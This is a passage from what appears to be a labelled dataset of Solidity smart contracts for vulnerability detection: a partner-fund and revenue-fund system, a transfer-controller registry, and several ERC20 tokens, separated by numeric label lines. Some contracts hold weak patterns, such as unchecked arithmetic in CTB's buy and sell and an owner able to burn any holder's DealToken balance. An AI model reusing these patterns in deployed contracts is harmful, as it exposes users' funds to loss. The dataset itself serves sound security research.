function receiveTokensTo(address tag, string, int256 amount, address currencyCt,
uint256 currencyId, string standard)
public
{
_receiveTokensTo(
uint256(tag) - 1, amount, currencyCt, currencyId, standard
);
}
function hashName(string name)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(name.upper()));
}
function depositByIndices(uint256 partnerIndex, uint256 depositIndex)
public
view
returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
require(0 < partnerIndex && partnerIndex <= partners.length);
return _depositByIndices(partnerIndex - 1, depositIndex);
}
function depositByName(string name, uint depositIndex)
public
view
returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
return _depositByIndices(indexByName(name) - 1, depositIndex);
}
function depositByNameHash(bytes32 nameHash, uint depositIndex)
public
view
returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
return _depositByIndices(indexByNameHash(nameHash) - 1, depositIndex);
}
function depositByWallet(address wallet, uint depositIndex)
public
view
returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
return _depositByIndices(indexByWallet(wallet) - 1, depositIndex);
}
function depositsCountByIndex(uint256 index)
public
view
returns (uint256)
{
require(0 < index && index <= partners.length);
return _depositsCountByIndex(index - 1);
}
function depositsCountByName(string name)
public
view
returns (uint256)
{
return _depositsCountByIndex(indexByName(name) - 1);
}
function depositsCountByNameHash(bytes32 nameHash)
public
view
returns (uint256)
{
return _depositsCountByIndex(indexByNameHash(nameHash) - 1);
}
function depositsCountByWallet(address wallet)
public
view
returns (uint256)
{
return _depositsCountByIndex(indexByWallet(wallet) - 1);
}
function activeBalanceByIndex(uint256 index, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
require(0 < index && index <= partners.length);
return _activeBalanceByIndex(index - 1, currencyCt, currencyId);
}
function activeBalanceByName(string name, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
return _activeBalanceByIndex(indexByName(name) - 1, currencyCt, currencyId);
}
function activeBalanceByNameHash(bytes32 nameHash, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
return _activeBalanceByIndex(indexByNameHash(nameHash) - 1, currencyCt, currencyId);
}
function activeBalanceByWallet(address wallet, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
return _activeBalanceByIndex(indexByWallet(wallet) - 1, currencyCt, currencyId);
}
function stagedBalanceByIndex(uint256 index, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
require(0 < index && index <= partners.length);
return _stagedBalanceByIndex(index - 1, currencyCt, currencyId);
}
function stagedBalanceByName(string name, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
return _stagedBalanceByIndex(indexByName(name) - 1, currencyCt, currencyId);
}
function stagedBalanceByNameHash(bytes32 nameHash, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
return _stagedBalanceByIndex(indexByNameHash(nameHash) - 1, currencyCt, currencyId);
}
function stagedBalanceByWallet(address wallet, address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
return _stagedBalanceByIndex(indexByWallet(wallet) - 1, currencyCt, currencyId);
}
function partnersCount()
public
view
returns (uint256)
{
return partners.length;
}
function registerByName(string name, uint256 fee, address wallet,
bool partnerCanUpdate, bool operatorCanUpdate)
public
onlyOperator
{
require(bytes(name).length > 0);
bytes32 nameHash = hashName(name);
_registerPartnerByNameHash(nameHash, fee, wallet, partnerCanUpdate, operatorCanUpdate);
emit RegisterPartnerByNameEvent(name, fee, wallet);
}
function registerByNameHash(bytes32 nameHash, uint256 fee, address wallet,
bool partnerCanUpdate, bool operatorCanUpdate)
public
onlyOperator
{
_registerPartnerByNameHash(nameHash, fee, wallet, partnerCanUpdate, operatorCanUpdate);
emit RegisterPartnerByNameHashEvent(nameHash, fee, wallet);
}
function indexByNameHash(bytes32 nameHash)
public
view
returns (uint256)
{
uint256 index = _indexByNameHash[nameHash];
require(0 < index);
return index;
}
function indexByName(string name)
public
view
returns (uint256)
{
return indexByNameHash(hashName(name));
}
function indexByWallet(address wallet)
public
view
returns (uint256)
{
uint256 index = _indexByWallet[wallet];
require(0 < index);
return index;
}
function isRegisteredByName(string name)
public
view
returns (bool)
{
return (0 < _indexByNameHash[hashName(name)]);
}
function isRegisteredByNameHash(bytes32 nameHash)
public
view
returns (bool)
{
return (0 < _indexByNameHash[nameHash]);
}
function isRegisteredByWallet(address wallet)
public
view
returns (bool)
{
return (0 < _indexByWallet[wallet]);
}
function feeByIndex(uint256 index)
public
view
returns (uint256)
{
require(0 < index && index <= partners.length);
return _partnerFeeByIndex(index - 1);
}
function feeByName(string name)
public
view
returns (uint256)
{
return _partnerFeeByIndex(indexByName(name) - 1);
}
function feeByNameHash(bytes32 nameHash)
public
view
returns (uint256)
{
return _partnerFeeByIndex(indexByNameHash(nameHash) - 1);
}
function feeByWallet(address wallet)
public
view
returns (uint256)
{
return _partnerFeeByIndex(indexByWallet(wallet) - 1);
}
function setFeeByIndex(uint256 index, uint256 newFee)
public
{
require(0 < index && index <= partners.length);
uint256 oldFee = _setPartnerFeeByIndex(index - 1, newFee);
emit SetFeeByIndexEvent(index, oldFee, newFee);
}
function setFeeByName(string name, uint256 newFee)
public
{
uint256 oldFee = _setPartnerFeeByIndex(indexByName(name) - 1, newFee);
emit SetFeeByNameEvent(name, oldFee, newFee);
}
function setFeeByNameHash(bytes32 nameHash, uint256 newFee)
public
{
uint256 oldFee = _setPartnerFeeByIndex(indexByNameHash(nameHash) - 1, newFee);
emit SetFeeByNameHashEvent(nameHash, oldFee, newFee);
}
function setFeeByWallet(address wallet, uint256 newFee)
public
{
uint256 oldFee = _setPartnerFeeByIndex(indexByWallet(wallet) - 1, newFee);
emit SetFeeByWalletEvent(wallet, oldFee, newFee);
}
function walletByIndex(uint256 index)
public
view
returns (address)
{
require(0 < index && index <= partners.length);
return partners[index - 1].wallet;
}
function walletByName(string name)
public
view
returns (address)
{
return partners[indexByName(name) - 1].wallet;
}
function walletByNameHash(bytes32 nameHash)
public
view
returns (address)
{
return partners[indexByNameHash(nameHash) - 1].wallet;
}
function setWalletByIndex(uint256 index, address newWallet)
public
{
require(0 < index && index <= partners.length);
address oldWallet = _setPartnerWalletByIndex(index - 1, newWallet);
emit SetPartnerWalletByIndexEvent(index, oldWallet, newWallet);
}
function setWalletByName(string name, address newWallet)
public
{
address oldWallet = _setPartnerWalletByIndex(indexByName(name) - 1, newWallet);
emit SetPartnerWalletByNameEvent(name, oldWallet, newWallet);
}
function setWalletByNameHash(bytes32 nameHash, address newWallet)
public
{
address oldWallet = _setPartnerWalletByIndex(indexByNameHash(nameHash) - 1, newWallet);
emit SetPartnerWalletByNameHashEvent(nameHash, oldWallet, newWallet);
}
function setWalletByWallet(address oldWallet, address newWallet)
public
{
_setPartnerWalletByIndex(indexByWallet(oldWallet) - 1, newWallet);
emit SetPartnerWalletByWalletEvent(oldWallet, newWallet);
}
function stage(int256 amount, address currencyCt, uint256 currencyId)
public
{
uint256 index = indexByWallet(msg.sender);
require(amount.isPositiveInt256());
amount = amount.clampMax(partners[index - 1].active.get(currencyCt, currencyId));
partners[index - 1].active.sub(amount, currencyCt, currencyId);
partners[index - 1].staged.add(amount, currencyCt, currencyId);
partners[index - 1].txHistory.addDeposit(amount, currencyCt, currencyId);
partners[index - 1].fullBalanceHistory.push(
FullBalanceHistory(
partners[index - 1].txHistory.depositsCount() - 1,
partners[index - 1].active.get(currencyCt, currencyId),
block.number
)
);
emit StageEvent(msg.sender, amount, currencyCt, currencyId);
}
function withdraw(int256 amount, address currencyCt, uint256 currencyId, string standard)
public
{
uint256 index = indexByWallet(msg.sender);
require(amount.isPositiveInt256());
amount = amount.clampMax(partners[index - 1].staged.get(currencyCt, currencyId));
partners[index - 1].staged.sub(amount, currencyCt, currencyId);
if (address(0) == currencyCt && 0 == currencyId)
msg.sender.transfer(uint256(amount));
else {
TransferController controller = transferController(currencyCt, standard);
require(
address(controller).delegatecall(
controller.getDispatchSignature(), this, msg.sender, uint256(amount), currencyCt, currencyId
)
);
}
emit WithdrawEvent(msg.sender, amount, currencyCt, currencyId);
}
function _receiveEthersTo(uint256 index, int256 amount)
private
{
require(index < partners.length);
partners[index].active.add(amount, address(0), 0);
partners[index].txHistory.addDeposit(amount, address(0), 0);
partners[index].fullBalanceHistory.push(
FullBalanceHistory(
partners[index].txHistory.depositsCount() - 1,
partners[index].active.get(address(0), 0),
block.number
)
);
emit ReceiveEvent(msg.sender, amount, address(0), 0);
}
function _receiveTokensTo(uint256 index, int256 amount, address currencyCt,
uint256 currencyId, string standard)
private
{
require(index < partners.length);
require(amount.isNonZeroPositiveInt256());
TransferController controller = transferController(currencyCt, standard);
require(
address(controller).delegatecall(
controller.getReceiveSignature(), msg.sender, this, uint256(amount), currencyCt, currencyId
)
);
partners[index].active.add(amount, currencyCt, currencyId);
partners[index].txHistory.addDeposit(amount, currencyCt, currencyId);
partners[index].fullBalanceHistory.push(
FullBalanceHistory(
partners[index].txHistory.depositsCount() - 1,
partners[index].active.get(currencyCt, currencyId),
block.number
)
);
emit ReceiveEvent(msg.sender, amount, currencyCt, currencyId);
}
function _depositByIndices(uint256 partnerIndex, uint256 depositIndex)
private
view
returns (int256 balance, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
require(depositIndex < partners[partnerIndex].fullBalanceHistory.length);
FullBalanceHistory storage entry = partners[partnerIndex].fullBalanceHistory[depositIndex];
(,, currencyCt, currencyId) = partners[partnerIndex].txHistory.deposit(entry.listIndex);
balance = entry.balance;
blockNumber = entry.blockNumber;
}
function _depositsCountByIndex(uint256 index)
private
view
returns (uint256)
{
return partners[index].fullBalanceHistory.length;
}
function _activeBalanceByIndex(uint256 index, address currencyCt, uint256 currencyId)
private
view
returns (int256)
{
return partners[index].active.get(currencyCt, currencyId);
}
function _stagedBalanceByIndex(uint256 index, address currencyCt, uint256 currencyId)
private
view
returns (int256)
{
return partners[index].staged.get(currencyCt, currencyId);
}
function _registerPartnerByNameHash(bytes32 nameHash, uint256 fee, address wallet,
bool partnerCanUpdate, bool operatorCanUpdate)
private
{
require(0 == _indexByNameHash[nameHash]);
require(partnerCanUpdate || operatorCanUpdate);
partners.length++;
uint256 index = partners.length;
partners[index - 1].nameHash = nameHash;
partners[index - 1].fee = fee;
partners[index - 1].wallet = wallet;
partners[index - 1].partnerCanUpdate = partnerCanUpdate;
partners[index - 1].operatorCanUpdate = operatorCanUpdate;
partners[index - 1].index = index;
_indexByNameHash[nameHash] = index;
_indexByWallet[wallet] = index;
}
function _setPartnerFeeByIndex(uint256 index, uint256 fee)
private
returns (uint256)
{
uint256 oldFee = partners[index].fee;
if (isOperator())
require(partners[index].operatorCanUpdate);
else {
require(msg.sender == partners[index].wallet);
require(partners[index].partnerCanUpdate);
}
partners[index].fee = fee;
return oldFee;
}
function _setPartnerWalletByIndex(uint256 index, address newWallet)
private
returns (address)
{
address oldWallet = partners[index].wallet;
if (oldWallet == address(0))
require(isOperator());
else if (isOperator())
require(partners[index].operatorCanUpdate);
else {
require(msg.sender == oldWallet);
require(partners[index].partnerCanUpdate);
require(partners[index].operatorCanUpdate || newWallet != address(0));
}
partners[index].wallet = newWallet;
if (oldWallet != address(0))
_indexByWallet[oldWallet] = 0;
if (newWallet != address(0))
_indexByWallet[newWallet] = index;
return oldWallet;
}
function _partnerFeeByIndex(uint256 index)
private
view
returns (uint256)
{
return partners[index].fee;
}
}
contract RevenueFund is Ownable, AccrualBeneficiary, AccrualBenefactor, TransferControllerManageable {
using FungibleBalanceLib for FungibleBalanceLib.Balance;
using TxHistoryLib for TxHistoryLib.TxHistory;
using SafeMathIntLib for int256;
using SafeMathUintLib for uint256;
using CurrenciesLib for CurrenciesLib.Currencies;
FungibleBalanceLib.Balance periodAccrual;
CurrenciesLib.Currencies periodCurrencies;
FungibleBalanceLib.Balance aggregateAccrual;
CurrenciesLib.Currencies aggregateCurrencies;
TxHistoryLib.TxHistory private txHistory;
event ReceiveEvent(address from, int256 amount, address currencyCt, uint256 currencyId);
event CloseAccrualPeriodEvent();
event RegisterServiceEvent(address service);
event DeregisterServiceEvent(address service);
constructor(address deployer) Ownable(deployer) public {
}
function() public payable {
receiveEthersTo(msg.sender, "");
}
function receiveEthersTo(address wallet, string)
public
payable
{
int256 amount = SafeMathIntLib.toNonZeroInt256(msg.value);
periodAccrual.add(amount, address(0), 0);
aggregateAccrual.add(amount, address(0), 0);
periodCurrencies.add(address(0), 0);
aggregateCurrencies.add(address(0), 0);
txHistory.addDeposit(amount, address(0), 0);
emit ReceiveEvent(wallet, amount, address(0), 0);
}
function receiveTokens(string balanceType, int256 amount, address currencyCt,
uint256 currencyId, string standard)
public
{
receiveTokensTo(msg.sender, balanceType, amount, currencyCt, currencyId, standard);
}
function receiveTokensTo(address wallet, string, int256 amount,
address currencyCt, uint256 currencyId, string standard)
public
{
require(amount.isNonZeroPositiveInt256());
TransferController controller = transferController(currencyCt, standard);
require(
address(controller).delegatecall(
controller.getReceiveSignature(), msg.sender, this, uint256(amount), currencyCt, currencyId
)
);
periodAccrual.add(amount, currencyCt, currencyId);
aggregateAccrual.add(amount, currencyCt, currencyId);
periodCurrencies.add(currencyCt, currencyId);
aggregateCurrencies.add(currencyCt, currencyId);
txHistory.addDeposit(amount, currencyCt, currencyId);
emit ReceiveEvent(wallet, amount, currencyCt, currencyId);
}
function periodAccrualBalance(address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
return periodAccrual.get(currencyCt, currencyId);
}
function aggregateAccrualBalance(address currencyCt, uint256 currencyId)
public
view
returns (int256)
{
return aggregateAccrual.get(currencyCt, currencyId);
}
function periodCurrenciesCount()
public
view
returns (uint256)
{
return periodCurrencies.count();
}
function periodCurrenciesByIndices(uint256 low, uint256 up)
public
view
returns (MonetaryTypesLib.Currency[])
{
return periodCurrencies.getByIndices(low, up);
}
function aggregateCurrenciesCount()
public
view
returns (uint256)
{
return aggregateCurrencies.count();
}
function aggregateCurrenciesByIndices(uint256 low, uint256 up)
public
view
returns (MonetaryTypesLib.Currency[])
{
return aggregateCurrencies.getByIndices(low, up);
}
function depositsCount()
public
view
returns (uint256)
{
return txHistory.depositsCount();
}
function deposit(uint index)
public
view
returns (int256 amount, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
return txHistory.deposit(index);
}
function closeAccrualPeriod(MonetaryTypesLib.Currency[] currencies)
public
onlyOperator
{
require(ConstantsLib.PARTS_PER() == totalBeneficiaryFraction);
for (uint256 i = 0; i < currencies.length; i++) {
MonetaryTypesLib.Currency memory currency = currencies[i];
int256 remaining = periodAccrual.get(currency.ct, currency.id);
if (0 >= remaining)
continue;
for (uint256 j = 0; j < beneficiaries.length; j++) {
address beneficiaryAddress = beneficiaries[j];
if (beneficiaryFraction(beneficiaryAddress) > 0) {
int256 transferable = periodAccrual.get(currency.ct, currency.id)
.mul(beneficiaryFraction(beneficiaryAddress))
.div(ConstantsLib.PARTS_PER());
if (transferable > remaining)
transferable = remaining;
if (transferable > 0) {
if (currency.ct == address(0))
AccrualBeneficiary(beneficiaryAddress).receiveEthersTo.value(uint256(transferable))(address(0), "");
else {
TransferController controller = transferController(currency.ct, "");
require(
address(controller).delegatecall(
controller.getApproveSignature(), beneficiaryAddress, uint256(transferable), currency.ct, currency.id
)
);
AccrualBeneficiary(beneficiaryAddress).receiveTokensTo(address(0), "", transferable, currency.ct, currency.id, "");
}
remaining = remaining.sub(transferable);
}
}
}
periodAccrual.set(remaining, currency.ct, currency.id);
}
for (j = 0; j < beneficiaries.length; j++) {
beneficiaryAddress = beneficiaries[j];
if (0 >= beneficiaryFraction(beneficiaryAddress))
continue;
AccrualBeneficiary(beneficiaryAddress).closeAccrualPeriod(currencies);
}
emit CloseAccrualPeriodEvent();
}
}
contract TransferControllerManager is Ownable {
struct CurrencyInfo {
bytes32 standard;
bool blacklisted;
}
mapping(bytes32 => address) public registeredTransferControllers;
mapping(address => CurrencyInfo) public registeredCurrencies;
event RegisterTransferControllerEvent(string standard, address controller);
event ReassociateTransferControllerEvent(string oldStandard, string newStandard, address controller);
event RegisterCurrencyEvent(address currencyCt, string standard);
event DeregisterCurrencyEvent(address currencyCt);
event BlacklistCurrencyEvent(address currencyCt);
event WhitelistCurrencyEvent(address currencyCt);
constructor(address deployer) Ownable(deployer) public {
}
function registerTransferController(string standard, address controller)
external
onlyDeployer
notNullAddress(controller)
{
require(bytes(standard).length > 0);
bytes32 standardHash = keccak256(abi.encodePacked(standard));
require(registeredTransferControllers[standardHash] == address(0));
registeredTransferControllers[standardHash] = controller;
emit RegisterTransferControllerEvent(standard, controller);
}
function reassociateTransferController(string oldStandard, string newStandard, address controller)
external
onlyDeployer
notNullAddress(controller)
{
require(bytes(newStandard).length > 0);
bytes32 oldStandardHash = keccak256(abi.encodePacked(oldStandard));
bytes32 newStandardHash = keccak256(abi.encodePacked(newStandard));
require(registeredTransferControllers[oldStandardHash] != address(0));
require(registeredTransferControllers[newStandardHash] == address(0));
registeredTransferControllers[newStandardHash] = registeredTransferControllers[oldStandardHash];
registeredTransferControllers[oldStandardHash] = address(0);
emit ReassociateTransferControllerEvent(oldStandard, newStandard, controller);
}
function registerCurrency(address currencyCt, string standard)
external
onlyOperator
notNullAddress(currencyCt)
{
require(bytes(standard).length > 0);
bytes32 standardHash = keccak256(abi.encodePacked(standard));
require(registeredCurrencies[currencyCt].standard == bytes32(0));
registeredCurrencies[currencyCt].standard = standardHash;
emit RegisterCurrencyEvent(currencyCt, standard);
}
function deregisterCurrency(address currencyCt)
external
onlyOperator
{
require(registeredCurrencies[currencyCt].standard != 0);
registeredCurrencies[currencyCt].standard = bytes32(0);
registeredCurrencies[currencyCt].blacklisted = false;
emit DeregisterCurrencyEvent(currencyCt);
}
function blacklistCurrency(address currencyCt)
external
onlyOperator
{
require(registeredCurrencies[currencyCt].standard != bytes32(0));
registeredCurrencies[currencyCt].blacklisted = true;
emit BlacklistCurrencyEvent(currencyCt);
}
function whitelistCurrency(address currencyCt)
external
onlyOperator
{
require(registeredCurrencies[currencyCt].standard != bytes32(0));
registeredCurrencies[currencyCt].blacklisted = false;
emit WhitelistCurrencyEvent(currencyCt);
}
function transferController(address currencyCt, string standard)
public
view
returns (TransferController)
{
if (bytes(standard).length > 0) {
bytes32 standardHash = keccak256(abi.encodePacked(standard));
require(registeredTransferControllers[standardHash] != address(0));
return TransferController(registeredTransferControllers[standardHash]);
}
require(registeredCurrencies[currencyCt].standard != bytes32(0));
require(!registeredCurrencies[currencyCt].blacklisted);
address controllerAddress = registeredTransferControllers[registeredCurrencies[currencyCt].standard];
require(controllerAddress != address(0));
return TransferController(controllerAddress);
}
}
library TxHistoryLib {
struct AssetEntry {
int256 amount;
uint256 blockNumber;
address currencyCt;
uint256 currencyId;
}
struct TxHistory {
AssetEntry[] deposits;
mapping(address => mapping(uint256 => AssetEntry[])) currencyDeposits;
AssetEntry[] withdrawals;
mapping(address => mapping(uint256 => AssetEntry[])) currencyWithdrawals;
}
function addDeposit(TxHistory storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
AssetEntry memory deposit = AssetEntry(amount, block.number, currencyCt, currencyId);
self.deposits.push(deposit);
self.currencyDeposits[currencyCt][currencyId].push(deposit);
}
function addWithdrawal(TxHistory storage self, int256 amount, address currencyCt, uint256 currencyId)
internal
{
AssetEntry memory withdrawal = AssetEntry(amount, block.number, currencyCt, currencyId);
self.withdrawals.push(withdrawal);
self.currencyWithdrawals[currencyCt][currencyId].push(withdrawal);
}
function deposit(TxHistory storage self, uint index)
internal
view
returns (int256 amount, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
require(index < self.deposits.length);
amount = self.deposits[index].amount;
blockNumber = self.deposits[index].blockNumber;
currencyCt = self.deposits[index].currencyCt;
currencyId = self.deposits[index].currencyId;
}
function depositsCount(TxHistory storage self)
internal
view
returns (uint256)
{
return self.deposits.length;
}
function currencyDeposit(TxHistory storage self, address currencyCt, uint256 currencyId, uint index)
internal
view
returns (int256 amount, uint256 blockNumber)
{
require(index < self.currencyDeposits[currencyCt][currencyId].length);
amount = self.currencyDeposits[currencyCt][currencyId][index].amount;
blockNumber = self.currencyDeposits[currencyCt][currencyId][index].blockNumber;
}
function currencyDepositsCount(TxHistory storage self, address currencyCt, uint256 currencyId)
internal
view
returns (uint256)
{
return self.currencyDeposits[currencyCt][currencyId].length;
}
function withdrawal(TxHistory storage self, uint index)
internal
view
returns (int256 amount, uint256 blockNumber, address currencyCt, uint256 currencyId)
{
require(index < self.withdrawals.length);
amount = self.withdrawals[index].amount;
blockNumber = self.withdrawals[index].blockNumber;
currencyCt = self.withdrawals[index].currencyCt;
currencyId = self.withdrawals[index].currencyId;
}
function withdrawalsCount(TxHistory storage self)
internal
view
returns (uint256)
{
return self.withdrawals.length;
}
function currencyWithdrawal(TxHistory storage self, address currencyCt, uint256 currencyId, uint index)
internal
view
returns (int256 amount, uint256 blockNumber)
{
require(index < self.currencyWithdrawals[currencyCt][currencyId].length);
amount = self.currencyWithdrawals[currencyCt][currencyId][index].amount;
blockNumber = self.currencyWithdrawals[currencyCt][currencyId][index].blockNumber;
}
function currencyWithdrawalsCount(TxHistory storage self, address currencyCt, uint256 currencyId)
internal
view
returns (uint256)
{
return self.currencyWithdrawals[currencyCt][currencyId].length;
}
} | 0 | 399 |
pragma solidity ^0.4.15;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
contract BasicToken is ERC20Basic, Pausable {
using SafeMath for uint;
mapping(address => uint) balances;
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint _value) whenNotPaused onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
function transferFrom(address _from, address _to, uint _value) whenNotPaused onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint _value) whenNotPaused {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert();
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken {
using SafeMath for uint;
event Mint(address indexed to, uint value);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint _amount) whenNotPaused onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() whenNotPaused onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract BurnableToken is StandardToken {
using SafeMath for uint;
event Burn(address indexed from, uint value);
function burn(address _from, uint _amount) whenNotPaused onlyOwner returns (bool) {
totalSupply = totalSupply.sub(_amount);
balances[_from] = balances[_from].sub(_amount);
Burn(_from, _amount);
return true;
}
}
contract DealToken is MintableToken, BurnableToken {
using SafeMath for uint256;
string public constant name = "Deal Token";
string public constant symbol = "DEAL";
uint8 public constant decimals = 8;
function DealToken() public {
totalSupply = 40000000000000000;
balances[msg.sender] = totalSupply;
}
} | 1 | 3,490 |
pragma solidity 0.4.24;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract TokenERC20 {
string public name;
string public symbol;
uint8 public decimals = 18;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = tokenName;
symbol = tokenSymbol;
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
}
contract CTB is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
function CTB(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) TokenERC20(initialSupply, tokenName, tokenSymbol) public {}
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0);
require (balanceOf[_from] > _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
function buy() payable public {
uint amount = msg.value / buyPrice;
_transfer(this, msg.sender, amount);
}
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice);
_transfer(msg.sender, this, amount);
msg.sender.transfer(amount * sellPrice);
}
} | 1 | 3,793 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() internal {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Authorizable is Ownable {
mapping(address => bool) public authorized;
event AuthorizationSet(address indexed addressAuthorized, bool indexed authorization);
function Authorizable() public {
authorized[msg.sender] = true;
}
modifier onlyAuthorized() {
require(authorized[msg.sender]);
_;
}
function setAuthorized(address addressAuthorized, bool authorization) onlyOwner public {
AuthorizationSet(addressAuthorized, authorization);
authorized[addressAuthorized] = authorization;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
